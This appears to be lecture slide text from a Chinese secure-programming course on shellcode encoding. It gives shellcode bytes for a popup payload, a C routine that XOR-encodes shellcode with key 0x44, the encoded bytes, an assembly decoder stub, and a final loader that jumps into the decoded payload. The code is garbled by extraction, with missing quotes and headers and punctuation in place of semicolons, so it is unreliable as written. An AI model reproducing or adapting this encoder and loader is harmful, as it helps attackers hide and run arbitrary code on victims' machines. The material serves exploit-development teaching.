【正文】 A \xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75 \xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03 \x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB \x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50 \x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90。//shellcode should be ended with 0x90 2022/5/29 void encoder (char* input, unsigned char key, int display_flag)// bool display_flag { int i=0,len=0。 FILE * fp。 unsigned char * output。 len = strlen(input)。 output=(unsigned char *)malloc(len+1)。 if(!output) { printf(memory erro!\n)。 exit(0)。 } 2022/5/29 //encode the shellcode for(i=0。ilen。i++) { output[i] = input[i]^key。 } if(!(fp=fopen(,w+))) { printf(output file create erro)。 exit(0)。 } fprintf(fp,\)。 for(i=0。ilen。i++) { fprintf(fp,\\x%, output[i])。 if((i+1)%16==0) { fprintf(fp,\\n\)。 } } 2022/5/29 fprintf(fp,\。)。 fclose(fp)。 printf(dump the encoded shellcode to OK!\n)。 if(display_flag)//print to screen { for(i=0。ilen。i++) { printf(% ,output[i])。 if((i+1)%16==0) { printf(\n)。 } } } free(output)。 } void main() { encoder(popup_general,0x44 ,1)。 } 2022/5/29 運行后得到的 shellcode \xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48 \xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17 \x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf \x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1 \xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d \x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e \x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31 \xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47 \x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f \x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14 \x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4。 2022/5/29 解碼器 (不能直接運行 ) void main() { _asm { add eax, 0x14 //locate the real start of shellcode xor ecx,ecx decode_loop: mov bl,[eax+ecx] xor bl, 0x44 //key,should be changed to decode mov [eax+ecx],bl inc ecx cmp bl,0x90 // assume 0x90 as the end mark of shellcode jne decode_loop } } 2022/5/29 2022/5/29 最終代碼如下 include include include char final_sc_44[]= \x83\xC0\x14 //ADD EAX,14 \x33\xC9 //XOR ECX,ECX \x8A\x1C\x08 //MOV BL,BYTE PTR DS:[EAX+ECX] \x80\xF3\x44 //XOR BL,44 //notice 0x44 is taken as temp key to decode ! \x88\x1C\x08 //MOV BYTE PTR DS:[EAX+ECX],BL \x41 //INC ECX \x80\xFB\x90 //CMP BL,90 \x75\xF1 //JNZ SHORT \xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48 \xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17 \x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf \x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1 \xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d \x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e \x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31 \xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47 \x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f \x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14 \x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4。 2022/5/29 void main() { __asm { lea eax, final_sc_44 push eax ret } } 安全 編程 許曉華 pain past is pleasure